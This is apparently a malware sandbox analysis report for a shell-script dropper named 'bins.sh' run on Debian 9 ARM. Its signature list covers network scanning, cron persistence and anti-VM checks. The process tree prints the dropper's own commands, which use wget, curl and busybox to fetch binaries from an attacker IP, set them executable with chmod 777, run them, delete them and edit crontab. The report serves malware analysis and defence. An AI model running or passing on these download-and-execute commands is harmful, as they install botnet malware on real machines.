Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/11/2024, 19:40

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241118-ydmlsaymdq
  • SHA256 f827420f4f24bd829edadf9030eb0c891c1a17487dccaaecd0bfa662d88c73b0
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2059) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          ./dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:677
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:679
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:680
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:681
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:682
              • /bin/rm
                rm dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
                2⤵
                  PID:684
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                  2⤵
                    PID:687
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:768
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    2⤵
                    • Writes file to tmp directory
                    PID:769
                  • /bin/chmod
                    chmod 777 rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    2⤵
                    • File and Directory Permissions Modification
                    PID:776
                  • /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    ./rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    2⤵
                    • Executes dropped EXE
                    PID:777
                  • /bin/rm
                    rm rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                    2⤵
                      PID:779
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
                      2⤵
                        PID:781

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
                          • Path /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                          • Path /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                          • Size 117KB
                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.1mE7An
                          • Path /var/spool/cron/crontabs/tmp.1mE7An
                          • Size 210B
                          • SHA256 e4a4f1c8b372daff4e7c29442c55fd060ff2fedc66e1047fc7ecabaee52fd686
                          • MD5 SHA1 SHA512
                          Submit Download